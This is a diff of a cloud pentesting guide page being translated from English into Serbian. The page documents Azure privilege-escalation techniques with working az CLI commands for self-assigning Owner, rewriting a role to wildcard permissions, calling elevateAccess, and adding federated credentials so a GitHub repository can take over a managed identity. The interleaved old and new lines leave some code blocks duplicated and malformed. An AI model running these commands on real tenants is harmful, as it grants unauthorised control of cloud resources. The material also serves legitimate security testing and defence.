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Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

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src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
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@@ -4,7 +4,7 @@
## Azure IAM
Fore more information check:
Za više informacija pogledajte:
{{#ref}}
../az-services/az-azuread.md
@@ -12,45 +12,40 @@ Fore more information check:
### Microsoft.Authorization/roleAssignments/write
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
Ova dozvola omogućava dodeljivanje uloga principima unutar specifičnog opsega, omogućavajući napadaču da eskalira privilegije dodeljivanjem sebi privilegovanije uloge:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
Create the file `role.json` with the following **content**:
Ova dozvola omogućava modifikaciju dozvola koje dodeljuje uloga, omogućavajući napadaču da eskalira privilegije dodeljivanjem više dozvola ulozi koju je dodelio.
Kreirajte datoteku `role.json` sa sledećim **sadržajem**:
```json
{
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Then update the role permissions with the previous definition calling:
Zatim ažurirajte dozvole uloge sa prethodnom definicijom pozivajući:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
Ova dozvola omogućava podizanje privilegija i dodeljivanje dozvola bilo kojem principalu za Azure resurse. Namenjena je Entra ID Global Administrátorima kako bi mogli da upravljaju dozvolama nad Azure resursima.
> [!TIP]
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
> Mislim da korisnik treba da bude Global Administrator u Entra ID da bi poziv za podizanje privilegija radio.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -58,27 +53,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
Example command to give access to a repo in Github to the a managed identity:
Ova dozvola omogućava dodavanje federisanih kredencijala upravljanim identitetima. Na primer, omogućava pristup Github Actions u repozitorijumu upravljanom identitetu. Zatim, omogućava **pristup bilo kojem korisnički definisanom upravljanom identitetu**.
Primer komande za davanje pristupa repozitorijumu u Github-u upravljanom identitetu:
```bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
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